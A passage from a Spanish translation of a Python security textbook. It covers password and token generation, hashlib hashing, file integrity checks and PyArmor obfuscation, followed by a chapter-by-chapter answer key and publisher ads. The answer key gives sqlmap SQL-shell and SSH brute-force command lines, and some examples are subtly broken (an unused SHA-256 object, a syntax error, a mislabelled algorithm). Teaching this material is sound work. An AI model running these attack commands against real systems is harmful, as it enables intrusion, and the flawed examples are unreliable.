de 16 caracteres con cada uno de los siguientes requisitos: una
letra minúscula, una mayúscula, un dígito y un carácter
especial. Puede encontrar el siguiente código en
el generate_secure_url.pyarchivo dentro de la secretscarpeta:
import secrets
import string
def generateSecureURL():
src = string.ascii_letters + string.digits + string.punctuation
password = secrets.choice(string.ascii_lowercase)
password += secrets.choice(string.ascii_uppercase)
password += secrets.choice(string.digits)
password += secrets.choice(string.punctuation)
for i in range (16):
password += secrets.choice(src)
print ("Strong password:", password)
secureURL = "https://www.domain.com/auth/reset="
secureURL += secrets.token_urlsafe(16)
print("Token secure URL:", secureURL)
if __name__ == "__main__":
generateSecureURL()
En elcódigo anterior, estamos generandoUna URL protegida por
token mediante el token_urlsafe()método , que proporciona una
cadena de texto segura para URL con una longitud específica.
Esto puede ser la ejecución del script anterior, donde
generamos una contraseña y una URL protegida por token:
$ python generate_secure_url.py
Strong password: sT5\Dv3lR{Efl{o]Uk<v
Token secure URL:
https://www.domain.com/auth/reset=YdvkTXk7b_h7CDBh0-
VL7A
Continuaremos analizando el hashlibmódulo
( https://docs.python.org/3.10/library/hashlib.html ) para
diferentes tareas relacionadas con la generación de
contraseñas seguras y la verificación del hash de un archivo.
Generar claves de forma segura con el módulo hashlib
Actualmente, cualquierproyecto que requiere el
almacenamiento de los datos de un usuarioLos datos utilizan
uno o varios algoritmos para cifrar, lo que permite ocultar o
proteger cierta información. En la mayoría de los sitios que
requieren registro, las contraseñas se cifran y se almacena un
hash (el resultado) en lugar del texto original.
El hashlibmódulo nos permite obtener el hash de una
contraseña de forma segura y nos ayuda a dificultar un ataque
hash. Puedes encontrar el siguiente código en
el hash_password.pyarchivo dentro de la hashlibcarpeta:
import hashlib
password = input("Password:")
hash_password = hashlib.sha512(password.encode())
print("The hash password is:")
print(hash_password.hexdigest())
El código anterior crea una contraseña en formato SHA-512. La
entrada se convierte en una cadena y hashlib.sha512()se llama
al método para generar el hash de la cadena. Finalmente, el
hash se obtiene mediante el hexdigest()método. A
continuación, se puede ver la ejecución del script anterior,
donde se genera el hash con el algoritmo SHA-512:
$ python hash_password.py
Password:password
The hash password is:
b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1
b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326
af5a2ea6d103fd07c95385ffab0cacbc86
Podemos mejorar el ejemplo anterior añadiendo una sal a la
generación del hash de la contraseña. Una sal es un número
aleatorio que se puede usar como entrada adicional para una
función unidireccional que genera el hash de la contraseña.
Puedes encontrar el siguiente código en
el generate_check_password.pyarchivo dentro de
la hashlibcarpeta:
import uuid
import hashlib
def hash_password(password):
# uuid is used to generate a random number
salt = uuid.uuid4().hex
return hashlib.sha256(salt.encode() +
password.encode()).hexdigest() + ':' + salt
def check_password(hashed_password, user_password):
password, salt = hashed_password.split(':')
return password == hashlib.sha256(salt.encode() +
user_password.encode()).hexdigest()
new_pass = input('Enter your password: ')
hashed_password = hash_password(new_pass)
print('The password hash: ' + hashed_password)
old_pass = input('Enter again the password for checking: ')
if check_password(hashed_password, old_pass):
print("Password is correct")
else:
print("Passwords doesn't match")
En el código anterior, comprobamos que ambas contraseñas
introducidas sean las mismas. Para ello,
el hash_password()método realiza el proceso
inverso generate_password().
El siguiente es un ejemplo de la ejecución del script anterior,
donde estamos generando y verificando el hash de contraseña
generado por el algoritmo SHA-512 :
$ python generate_check_password.py
Enter your password: password
The password hash:
0cfa3fd33cea8a0edae7f6a4d29d2134174dbd
5fa7ad1d9840b53ba16350e1f5:87e9abcf3a544ac888b7fd0c68
a306d7
Enter again the password for checking: password
Password is correct
Lo haremosContinúe revisando los demás hashlibmétodos.
El new()método devuelve un nuevo objeto de la hashclase que
implementa la función (hash) especificada ytoma como primer
parámetro una cadena con el nombre del algoritmo hash
( md5, sha256, o sha512) y un segundo parámetro que
representa una cadena de bytes con los datos:
>>> import hashlib
>>> hash = hashlib.new("hash_type", "string")
El siguiente es un ejemplo de cómo aplicar hash a una
contraseña sha1y cómo imprimir el resultado:
>>> import hashlib
>>> hash = hashlib.new("sha1", "password".encode())
>>> print(hash.digest(), hash.hexdigest())
b'[\xaaa\xe4\xc9\xb9??\x06\x82%\x0bl\xf83\x1b~\xe6\x8f\xd8'
5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
El digest()método procesa los datos de un objeto hash y los
convierte en un objeto cifrado, compuesto por bytes en el
rango de 0. 255El hexdigest()método tiene la misma función
que digest(), pero su salida es una cadena de doble longitud,
compuesta por caracteres hexadecimales.
Este móduloTambién proporciona el update()método
queActualiza el objeto hash añadiendo una nueva cadena. Las
siguientes instrucciones son equivalentes a las anteriores:
>>> hash = hashlib.sha1()
>>> hash.update(b"password")
>>> print(hash.digest(), hash.hexdigest())
b'[\xaaa\xe4\xc9\xb9??\x06\x82%\x0bl\xf83\x1b~\xe6\x8f\xd8'
5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
El uso de este update()método es muy común cuando se desea
cifrar una gran cantidad de datos, ya que se puede aplicar el
cifrado por partes.
El siguiente ejemplo intenta calcular el hash del contenido de
un archivo. Puede encontrar el siguiente código en
el get_hash_from_image.pyarchivo dentro de la hashlibcarpeta:
import hashlib
md5 = hashlib.new("md5")
sha256 = hashlib.new("sha256")
with open("python-logo.png", "rb") as some_file:
md5.update(some_file.read())
print("MD5:",md5.hexdigest())
print("SHA256:",sha256.hexdigest())
En la ejecución del script anterior, podemos ver en la salida los
hashes MD5 y SHA256 utilizando el contenido del
archivo python-logo.png.
$ python get_hash_from_image.py
MD5: 7cbb8b7f3ec73ce6716fedaa4d63f6ce
SHA256:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca4959
91b7852b855
Finalmente, este módulo contiene una colección
llamada hashlib.algorithms_guaranteed, que proporciona los
nombres de los algoritmos compatibles con el módulo,
presentes en todas las distribuciones de lenguaje. Así, con el
siguiente código, podemos probar la eficiencia de cada función:
>>> for algorithm in hashlib.algorithms_guaranteed:
... print(algorithm)
...
blake2s
blake2b
sha512
shake_128
md5
sha3_224
sha256
sha1
sha384
sha224
shake_256
sha3_512
sha3_384
sha3_256
Ahora que nosotrosHe tenido una introducción
al hashlibmódulo, vamos aContinúe analizando la integridad de
un archivo utilizando este módulo.
Comprobación de la integridad de un archivo
Otra posibilidadofrecido por el hashlibmóduloEs poder
comprobar la integridad de un archivo. Los hashes permiten
verificar si dos archivos son idénticos y si su contenido no se ha
dañado ni modificado.
El siguiente script permite obtener el hash de cualquier archivo
con algoritmos disponibles como MD5, SHA1 y SHA256. El
código se encuentra en el checking_file_integrity.pyarchivo
dentro de la hashlibcarpeta:
import hashlib
file_name = input("Enter file name:")
file = open(file_name, 'r')
data = file.read().encode('utf-8')
for algorithm in hashlib.algorithms_available:
hash = hashlib.new(algorithm)
hash.update(data)
try:
hexdigest = hash.hexdigest()
except TypeError:
hexdigest = hash.hexdigest(128)
print("%s: %s" % (algorithm, hexdigest))
ElEl script anterior devuelve el hash del archivoIntroducido por
el usuario, aplicando los diferentes
algoritmos hashlibdisponibles. A continuación, se puede
ejecutar el script anterior, donde se verifica el hash del archivo
con los algoritmos disponibles en hashlib:
$ python checking_file_integrity.py
Enter file namechecking_file_integrity.py
blake2b:
9dbf0c181f542a52194266c10f1e1ffce6e2c7060a930b0ee7fccc
6751765febff90df9db1
abf6a9af91df51ee2724322bbc9f9769aee0a74eff32eddb70480
2
md4: e006d9971b840ecd3ef7e3a6938da35b
sha256:
e0cab8d2f0fee4c40db05c6b165eaa6ea79550d1f5d66c4e88b7
00157a06bf36
whirlpool:
19e2dd7aa3becb4128abb9adb883c0c129b1d9b174688f68ea1
01a6f3480ead37f7db970d3b
14d3bca62648b7793d47bcfc5505a8d6beb05c67a88d8999e20
5a
sha1: 4e4186b1bfc4616ac7d511a5752a21cbd69f0844
sha3_224:
a651392a9206cc8ba8573832a846a880cd9d493872b7b7ff8fe0
2ae1
sha3_384:
a02b7c1e08d629250374375055dca7c644b8c2327c0100c8dd4
5ba6b94c62be2b6ba7cfca3 faf446ef108a165ed3e2b0
sha3_256:
4d168d5bf6d0df4b6f50bfff413760f1837b5a4434034b133acb2
7ff44bbe4bf
blake2s:
35611f928b68c5a54c0e8bc86a3e8b1b1f6c8ad0a9180a46d447
0fbcc38bd8e5
sha512_256:
5c4ebfaac78c36dc7f80858fd373653e1011fa83c0a483986a4da
f35efb2adcf
...
En esta sección hemos revisado los principales módulos para
tareas relacionadas con la generación de contraseñas de forma
segura, así como la verificación de la integridad de un archivo
con los diferentes algoritmos hash.
Herramientas de Python para la ofuscación de código
En esta sección, vamos a revisar algunas herramientas que
Python proporciona para la ofuscación de código.
Ofuscación de códigoEs una técnica para ocultar el código
fuente original de un programa o aplicación y dificultar su
lectura. Este tipo de técnica se utiliza a menudo para escribir
código malicioso de forma que un sistema antivirus no pueda
detectarlo. Entre las principales herramientas disponibles para
ofuscar código Python, destaca PyArmor. En general, la
ofuscación dificulta la comprensión del código.
Ofuscación de código con pyarmor
Pyarmor ( https://github.com/dashingsoft/pyarmor ) esUna
de las herramientas más utilizadas para el código.Ofuscación
en Python. Puedes instalarla usando el código fuente del
GitHub anterior.repositorio outilizando el siguiente comando:
$ pip install pyarmor
Pyarmor ofrece las siguientes opciones de ejecución:
$ pyarmor -h
usage: pyarmor [-h] [-v] [-q] [-d] [--home HOME] [--boot
BOOT] ...
PyArmor is a command line tool used to obfuscate python
scripts,
bind obfuscated scripts to fixed machine or expire obfuscated
scripts.
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-q, --silent Suppress all normal output
-d, --debug Print exception traceback and debugging
message
--home HOME Change pyarmor home path
--boot BOOT Change boot platform
Los comandos más utilizados pyarmorson:
obfuscate (o)
Obfuscate python scripts
licenses (l)
Generate new licenses for obfuscated scripts
pack (p) Pack obfuscated scripts to one bundle
init (i) Create a project to manage obfuscated scripts
config (c) Update project settings
build (b) Obfuscate all the scripts in the project
info Show project information
check Check consistency of project
hdinfo Show all available hardware information
benchmark Run benchmark test in current machine
register Make registration keyfile work
download Download platform-dependent dynamic libraries
runtime Generate runtime package separately
help Display online documentation
See "pyarmor <command> -h" for more information on a
specific command.
More usage refer to https://pyarmor.readrthedocs.io
Para simplificar, este es el código a ofuscar, y lo puedes
encontrar en el code_obfuscate.pyarchivo dentro de
la obfuscationcarpeta:
def main():
print("Hello World!")
if __name__ = = "__main__":
main()
PodemosOfuscar el código anterior con lo siguientedominio:
$ pyarmor obfuscate code_ofuscate.py
INFO PyArmor Trial Version 7.6.1
INFO Python 3.8.8
INFO Target platforms: Native
INFO Source path is
"/home/linux/Descargas/chapter14/obfuscation"
INFO Entry scripts are ['code_ofuscate.py']
INFO Use cached capsule
/home/linux/.pyarmor/.pyarmor_capsule.zip
INFO Search scripts mode: Normal
INFO Save obfuscated scripts to "dist"
Al ejecutar la obfuscateopción en el código anterior, el proceso
genera una nueva carpeta llamada que distcontiene el
siguiente código ofuscado.
from pytransform import pyarmor_runtime
pyarmor_runtime()
__pyarmor__(__name__, __file__, b'\x50\x59\x41\x52\x4d\x4f\
x52\x00\x00\x03\x08\x00\x55\x0d\x0d\x0a\x09\x33\xe0\x02\
x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00\x89\x0e\
x00\x00\x00\x00\x00\x18\x2f\x7c\xb0\x75\x45\xeb\x44\x9b\
x41\x2f\x3b\x0e\x8f\x69\x64\x7a\x00...', 2)
Si intenta ejecutar el script con el código ofuscado, podrá ver el
resultado esperado.
$ python dist/code_ofuscate.py
Hello World!
Otra pLa posibilidad que ofrece esta herramienta es ejecutarla
mediante una aplicación web que podemos implementar en
nuestro equipo local. Para ello, podemos descargar el código
fuente del siguiente
repositorio: https://github.com/dashingsoft/pyarmor-
webui .
Podemos instalarcon el siguiente comando:
$ pip install pyarmor-webui
Una vez instalado, podemos ejecutar el servidor web con el
siguiente comando:
$ pyarmor-webui
INFO Data path: /home/linux/.pyarmor
INFO Serving HTTP on 127.0.0.1 port 9096 ...
Una vez que el servidor esté activo, podemos acceder a la
siguiente URL desde nuestro navegador: http://localhost:9096.
En la siguiente captura de pantalla, podemos ver la página de
inicio de la aplicación web:
Figura 14.1: Página de inicio de PyArmor
Al seleccionar la opción Asistente para ofuscar script , la
interfaz ofrece la posibilidad de seleccionar la ruta donde se
encuentra el código fuente y el script a ofuscar.
Figura 14.2: Selector de ruta del Asistente de script de
ofuscación
EsEs importante tener en cuenta que la ofuscación de código
también tiene sus desventajas; por ejemplo, puede complicar
la identificación de errores cuando surge un defecto en la
ejecución. Esto se debe a que, al aplicar la ofuscación, se
modifican todos los métodos y los registros también se ven
afectados, lo que dificulta su uso.utilizar este último para
identificar errores.
En general, en lo que respecta a la seguridad del código, la
ofuscación puede ser un componente importante de lo que las
empresas tecnológicas pueden aplicar para proteger su código.
Sin embargo, no es el único método disponible. En este punto,
es importante recordar que la seguridad basada
exclusivamente en la oscuridad no es aconsejable, y sería un
error pensar que el código de software es seguro solo por haber
sido ofuscado. Este tipo de técnicas deben complementarse
con la aplicación de las mejores prácticas, procesos definidos e
implementaciones de seguridad específicas.
Resumen
Uno de los objetivos de este capítulo fue conocer los
módulos pycryptodomey cryptography, que permiten cifrar y
descifrar información con los algoritmos AES y DES. También
analizamos algunas herramientas que permiten aplicar la
ofuscación de código en Python.
Todo lo aprendido a lo largo de este capítulo puede ser útil para
los desarrolladores en cuanto a disponer de alternativas
cuando necesitemos utilizar un módulo que nos facilite la
aplicación de técnicas criptográficas y esteganográficas a
nuestras aplicaciones.
Para concluir este libro, me gustaría enfatizar que deberían
profundizar en los temas que consideren más importantes.
Cada capítulo abordó las ideas fundamentales. Con este punto
de partida, pueden usar la sección de Lecturas adicionales para
encontrar recursos y ampliar la información.
Preguntas
Para concluir, aquí tienes una lista de preguntas para que
pongas a prueba tus conocimientos sobre el material de este
capítulo. Encontrarás las respuestas en la sección de
Evaluaciones del Apéndice .
1. ¿Qué tipo de algoritmo utiliza dos claves diferentes, una
para el cifrado y otra para el descifrado?
2. ¿Qué paquete del pycryptodomemódulo podemos utilizar
para el cifrado asimétrico?
3. ¿Qué paquete del cryptographymódulo podemos utilizar
para el cifrado simétrico?
4. ¿Qué clase de cryptographymódulo proporciona al
paquete de cifrado un cifrado simétrico?
5. ¿Qué algoritmo se utiliza para derivar una clave
criptográfica de una contraseña?
Lectura adicional
Puede utilizar los siguientes enlaces para encontrar más
información sobre las herramientas mencionadas, así como
enlaces a la documentación oficial de Python para algunos de
los módulos referenciados:
Documentación de
criptografía : https://cryptography.io/en/latest .
Documentación de
PyCryptodome : https://pycryptodome.readthedocs.
io/es/latest .
bcrypt : https://pypi.org/project/bcrypt . Esta
biblioteca permite generar hashes de contraseñas.
Secretos : https://docs.python.org/3/library/
secrets.html#module-secrets . Se utiliza para generar
números aleatorios criptográficamente robustos,
adecuados para la gestión de datos, como contraseñas y
tokens de seguridad.
El módulo
hashlib : https://docs.python.org/3.10/library/hashli
b.html .
Identificador
hash : https://github.com/blackploit/hash-identifier .
Esta herramienta de Python permite identificar los
diferentes tipos de hashes utilizados para cifrar datos.
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
15
Evaluaciones – Respuestas a las preguntas del final del capítulo
En las siguientes páginas, proporcionaremos respuestas a las
preguntas de práctica del final de cada uno de los capítulos de
este libro y proporcionaremos las respuestas correctas.
Capítulo 1 – Trabajar con scripts de Python
1. La estructura de datos del diccionario de Python
proporciona una tabla hash que puede almacenar
cualquier número de objetos de Python. El diccionario
consta de pares de elementos que contienen una clave y
un valor.
2. list.append(value), list.extend(values),list.insert(location,
value)
3. Al usar el administrador de contexto, la withinstrucción
cierra automáticamente el archivo incluso si se genera
una excepción. Con este enfoque, tenemos la ventaja de
que el archivo se cierra automáticamente y no es
necesario llamar al close()método.
4. BaseException
5. virtualenvyvenv
Capítulo 2 – Paquetes de programación del sistema
1. El módulo del sistema operativo (OS).
2. El subprocess.run()método bloquea el proceso principal
hasta que finalice el comando ejecutado en el proceso
hijo, mientras que con subprocess.Popen(), puede
continuar ejecutando tareas del proceso padre en
paralelo, llamando subprocess.communicatepara pasar o
recibir datos de los hilos cuando lo desee.
3. El concurrent.futuresmódulo proporciona
la ThreadPoolExecutorclase que proporciona una interfaz
para ejecutar tareas de forma asíncrona. Esta clase nos
permitirá reciclar hilos existentes para asignarles nuevas
tareas.
4. Podríamos usar este is_alive()método para determinar si
el hilo sigue ejecutándose o ya ha finalizado. Además, nos
permite trabajar con varios hilos, donde cada uno se
ejecuta de forma independiente sin afectar el
comportamiento del otro.
5. threading.get_ident()
Capítulo 3 – Programación de sockets
1. socket.accept()Se utiliza para aceptar la conexión del
cliente. Este método devuelve dos
valores: client_sockety client_address,
donde client_socketes un nuevo objeto socket que se
utiliza para enviar y recibir datos a través de la conexión.
2. Estos son los métodos que podemos utilizar para enviar y
recibir datos:
1. socket.sendto(data, address)se utiliza para enviar
datos a una dirección determinada.
2. socket.send(bytes)Se utiliza para enviar bytes de
datos al destino especificado.
3. socket.sendto(data, address)se utiliza para enviar
datos a una dirección determinada.
4. socket.recv(buflen)Se utiliza para recibir datos del
socket. El methodargumento indica la cantidad
máxima de datos que puede recibir.
5. socket.recvfrom(buflen)Se utiliza para recibir datos y
la dirección del remitente.
3. El sock.connect_ex((ip_address,port))método se utiliza
para comprobar el estado de un puerto específico en la
dirección IP que estamos analizando.
4. La principal diferencia entre TCP y UDP es que UDP no
está orientado a la conexión. Esto significa que no hay
garantía de que nuestros paquetes lleguen a su destino y
no hay notificación de errores si falla una entrega. Otra
diferencia importante entre TCP y UDP es que TCP es más
fiable que UDP porque detecta errores y garantiza que los
paquetes de datos se entreguen a la aplicación que se
comunica en el orden correcto.
5. Podemos implementar como base un servidor HTTP que
acepte solicitudes GET utilizando las
clases HTTPServery BaseHTTPRequestHandlerdel http.serv
ermódulo. Por ejemplo, from http.server import
HTTPServer, BaseHTTPRequestHandler.
Capítulo 4 – Programación HTTP y autenticación web
1. response = requests.post(url, data=data) and response =
urllib.request.urlopen(url, data_dictionary)
2. Utilice los siguientes
métodos: response.request.headers.items()y response.hea
ders.items().
3. El protocolo OAuth tiene las siguientes funciones:
1. Propietario del recurso : El propietario del recurso
es el usuario que autoriza a una aplicación
determinada a acceder a su cuenta y poder ejecutar
algunas tareas.
2. Cliente : El cliente sería la aplicación que desea
acceder a esa cuenta de usuario.
3. Servidor de recursos : el servidor de recursos es el
servidor que almacena las cuentas de usuario.
4. Servidor de autorización : el servidor de
autorización es responsable de gestionar las
solicitudes de autorización.
4. El mecanismo de autenticación de resumen HTTP utiliza
MD5 para cifrar los hashes de usuario, clave y reino.
5. El User-Agentencabezado.
Capítulo 5 – Análisis del tráfico de red y rastreo de paquetes
1. scapy> pkts = sniff (iface = "eth0", count = n), donde nes
el número de paquetes.
2. scapy> sr1(IP(dst=host)/TCP(dport=port), verbose=True)
3. IP/UDP/sr1
4. send()Envía paquetes de capa 3 y sendp()envía paquetes
de capa 2.
5. El prnparámetro estará presente en muchas otras
funciones y, como se puede ver en la documentación, se
refiere a una función como parámetro de entrada. A
continuación, un ejemplo: >>> packet=sniff(filter="tcp",
iface="eth0", prn=lambdax:x.summary()).
Capítulo 6 – Recopilación de información de servidores con
herramientas OSINT
1. En esta Settingssección se configuran integraciones con
plataformas de terceros, entre las que se encuentran
herramientas como Shodan, Hunter.io, Haveibeenpwned,
ipinfo.io, phishtank y Robtex, entre muchas otras.
2. Un fuzzer web es una herramienta que permite comprobar
qué rutas están activas y cuáles no en un sitio web. Para
ello, prueba URLs aleatorias y les envía señales para
comprobar su funcionamiento.
3. El dnspythonmódulo proporciona el dns.resolver()método
que permite encontrar varios registros de un nombre de
dominio. La función toma el nombre de dominio y el tipo
de registro como parameters.response NS =
dns.resolver.query('domain_name','NS').
4. FuzzDB es un proyecto que contiene un conjunto de
carpetas que contienen patrones de ataques conocidos
recopilados en múltiples pruebas de penetración,
principalmente en entornos web. Las categorías de
FuzzDB se dividen en diferentes directorios que contienen
patrones predecibles de ubicación de recursos, es decir,
patrones para detectar vulnerabilidades con cargas
maliciosas o rutas vulnerables.
5. Podemos utilizar el requestsmódulo para realizar una
petición sobre un dominio utilizando las diferentes
cadenas de ataque que podamos encontrar en
el MSSQL.txtarchivo.
Capítulo 7 – Interacción con servidores FTP, SFTP y SSH
1. with open(DOWNLOAD_FILE_NAME, 'wb') as file_handler:
ftp_cmd = 'RETR %s' %DOWNLOAD_FILE_NAME
ftp_client.retrbinary(ftp_cmd,file_handler.write)
2. ssh = paramiko.SSHClient()
ssh.connect(host, username='username',
password='password')
3. ssh_session = client.get_transport().open_session()
4. Para ejecutar cualquier comando en el host de destino,
necesitamos invocar el exec_command()método pasando
el comando como argumento. Podríamos usar las
siguientes instrucciones:
1. ssh_client = paramiko.SSHClient()
2. ssh_client.set_missing_host_key_policy(paramiko.Aut
oAddPolicy())
3. ssh_client.load_system_host_keys()
4. ssh_client.connect(hostname, port, username,
password)
5. stdin, stdout, stderr =
ssh_client.exec_command(command)
5. ssh_client.set_missing_host_key_policy(paramiko.AutoAdd
Policy())
Capítulo 8 – Trabajar con el escáner Nmap
1. portScanner = nmap.PortScanner()
2. portScannerAsync = nmap.PortScannerAsync()
3. self.portScannerAsync.scan(hostname, arguments="-A -sV
-p"+port ,callback=callbackResult)
4. self.portScanner.scan(hostname, port)
5. Al realizar el escaneo, podemos indicar un parámetro de
función de devolución de llamada adicional donde
podemos definir la función que se ejecutará al final del
escaneo.
Capítulo 9 – Interacción con los escáneres de vulnerabilidades
1. connection = UnixSocketConnection(path=path)
2. from gvm.protocols.gmp import Gmp
gmp.authenticate('username', 'password')
3. scanID = zap.spider.scan(target)
4. with open("report.html", "w") as
report_file:report_file.write(zap.core.htmlreport())
5. scanID = zap.ascan.scan(target)
Capítulo 10 – Interacción con vulnerabilidades de servidor en
aplicaciones web
1. Cross-Site Scripting ( XSS ) permite a los atacantes
ejecutar scripts en el navegador de la víctima, lo que les
permite secuestrar sesiones de usuario o redirigir al
usuario a un sitio malicioso.
2. La inyección SQL es una técnica que se utiliza para robar
datos aprovechando una vulnerabilidad de entrada no
validada. Básicamente, se trata de una técnica de
inyección de código donde un atacante ejecuta consultas
SQL maliciosas que controlan la base de datos de una
aplicación web.
3. Ejecutando el siguiente comando podemos obtener un
shell interactivo para interactuar con la base de datos con
el lenguaje de consulta SQL: $ sqlmap -u
'http://testphp.vulnweb.com/listproducts.php?cat=1' --sql-
shell.
4. http-sql-injection
5. Técnicas de fuzzing.
Capítulo 11 – Obtener información de la base de datos de
vulnerabilidades
1. Los exploits son piezas de software o scripts que se
aprovechan de un error, fallo o debilidad para provocar un
comportamiento no deseado en un sistema o aplicación,
permitiendo a un usuario malicioso forzar cambios en su
flujo de ejecución con la posibilidad de ser controlado a
voluntad.
2. Los códigos CVSS proporcionan un conjunto de criterios
estándar que permiten determinar qué vulnerabilidades
tienen mayor probabilidad de ser explotadas con éxito. El
código CVSS introduce un sistema de puntuación de
vulnerabilidades, considerando un conjunto de criterios
estandarizados y fáciles de medir.
3. Las vulnerabilidades se identifican de forma única
mediante el formato de código de Vulnerabilidades y
Exposiciones Comunes ( CVE ), creado por MITRE
Corporation. Este código permite al usuario comprender
una vulnerabilidad en un programa o sistema de forma
más objetiva.
4. Detalles de CVE ( https://www.cvedetails.com ) es un
servicio que permite encontrar información sobre
vulnerabilidades comunes en una interfaz gráfica intuitiva.
Este sitio web organiza sus categorías por proveedor,
producto, fecha de registro y tipo de vulnerabilidad.
5. import vulners
vulners_api=vulners.Vulners(api_key="<API_KEY>")
references=vulners_api.get_bulletin_references("CVE_identifier
")
Capítulo 12 – Extracción de geolocalización y metadatos de
documentos, imágenes y navegadores
1. geolite2.lookup(ip_address)
2. El PyPDF2módulo permite extraer información de
documentos, así como cifrarlos y descifrarlos. Para extraer
metadatos, podemos usar la PdfFileReaderclase y
el getDocumentInfo()método, que devuelven un
diccionario con los datos del documento.
3. PIL.ExifTagsSe utiliza para obtener la información de las
etiquetas EXIF de una imagen y, utilizando
el _getexif()método del objeto de imagen, podemos
extraer las etiquetas almacenadas en la imagen.
4. places.sqlite databaseymoz_historyvisits table
5. Base de datos de historial y tabla de descargas.
Capítulo 13 – Herramientas de Python para ataques de fuerza
bruta
1. $ python pydictor.py -plug scratch <domain> -o output.txt
2. $ psudohash.py -w "word_list" --common-paddings-after
3. BruteSprayes un script escrito en Python que tiene la
capacidad de buscar hosts y abrir puertos con el escáner
de puertos Nmap.
$ python brutespray.py --file nmap_output.xml -t 5 -T 2
4. $ python cerbrutus.py <domain> SSH -U "user" -P
wordlists/fasttrack.txt -t 10
5. Pyminizip
compress("/srcfile/path.txt", "file_path_prefix",
"/distfile/path.zip", "password", int(compress_level))
Capítulo 14 – Criptografía y ofuscación de código
1. Los algoritmos de clave pública utilizan dos claves
diferentes: una para el cifrado y otra para el descifrado.
Los usuarios de esta tecnología publican sus claves
públicas, manteniendo en secreto sus claves privadas.
Esto permite que cualquiera les envíe un mensaje cifrado
con su clave pública, que solo ellos, como titulares de la
clave privada, pueden descifrar.
2. from Crypto.PublicKey import RSA
3. El fernetpaquete implementa el cifrado simétrico y
garantiza que un mensaje cifrado no pueda manipularse
ni leerse sin la clave. Aquí hay un ejemplo de su uso from
cryptography.fernet import Fernet:
4. cryptography.hazmat.primitives.ciphers.Cipher
5. Función de derivación de claves basada en
contraseña 2 ( PBKDF2 ). Para
este cryptographymódulo, podemos usar el paquete
[enlace
faltante] cryptography.hazmat.primitives.kdf.pbkdf2
import PBKDF2HMAC.
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
packt.com
Suscríbete a nuestra biblioteca digital en línea para acceder a
más de 7000 libros y videos, además de herramientas líderes
en la industria que te ayudarán a planificar tu desarrollo
personal y a impulsar tu carrera profesional. Para más
información, visita nuestro sitio web.
¿Por qué suscribirse?
Dedique menos tiempo a aprender y más tiempo a
codificar con libros electrónicos y videos prácticos de más
de 4000 profesionales de la industria.
Mejora tu aprendizaje con planes de habilidades
diseñados especialmente para ti
Obtenga un libro electrónico o un vídeo gratuito cada mes
Completamente buscable para un fácil acceso a
información vital
Copiar y pegar, imprimir y marcar contenido
En www.packt.com también puede leer una colección de
artículos técnicos gratuitos, suscribirse a una variedad de
boletines gratuitos y recibir descuentos y ofertas exclusivas en
libros y libros electrónicos de Packt.
Otros libros que te pueden gustar
Si te ha gustado este libro, puede que te interesen estos otros
libros de Packt:
Dominando las redes en Python, cuarta edición
Eric Chou
ISBN: 9781803234618
Utilice Python para interactuar con dispositivos de red
Entiende Docker como una herramienta que puedes
utilizar para el desarrollo y la implementación.
Utilice Python y varias otras herramientas para obtener
información de la red.
Aprenda a utilizar ELK para el análisis de datos de red
Utilice Flask y construya una API de alto nivel para
interactuar con aplicaciones internas
Descubra la nueva función AsyncIO y sus conceptos en
Python 3
Explore los conceptos de desarrollo impulsado por
pruebas y utilice PyTest para impulsar la cobertura de
pruebas de código
Comprenda cómo se puede utilizar GitLab con prácticas
de DevOps en redes
Dominando Palo Alto Networks, segunda edición
Tom Piens
ISBN: 9781803241418
Explora tu camino a través de la interfaz web y la línea de
comandos
Descubra las tecnologías centrales y vea cómo maximizar
su potencial en su red
Identificar las mejores prácticas y consideraciones
importantes al configurar una política de seguridad
Conéctese a un dispositivo o máquina virtual recién
iniciado a través de una interfaz web o una interfaz de
línea de comandos
Ponga en funcionamiento su firewall con una
configuración rudimentaria pero rígida
Obtenga información sobre las sesiones cifradas
configurando el descifrado SSL
Solucione problemas comunes y profundice en el análisis
de flujo
Configure la VPN de GlobalProtect para trabajadores
remotos, así como la VPN de sitio a sitio
Packt está buscando autores como tú
Si te interesa ser autor para Packt,
visita authors.packtpub.com y postúlate hoy mismo. Hemos
trabajado con miles de desarrolladores y profesionales de la
tecnología como tú para ayudarles a compartir sus
conocimientos con la comunidad tecnológica global. Puedes
enviar una solicitud general, postularte para un tema de
actualidad específico para el que estemos buscando autores o
enviar tu propia idea.
Comparte tus pensamientos
Ahora que has terminado Python para Seguridad y Redes,
Tercera Edición , ¡nos encantaría conocer tu opinión! Haz clic
aquí para ir directamente a la página de reseñas de
Amazon y compartir tus comentarios.
Su reseña es importante para nosotros y para la comunidad
tecnológica y nos ayudará a garantizar que ofrecemos
contenido de excelente calidad.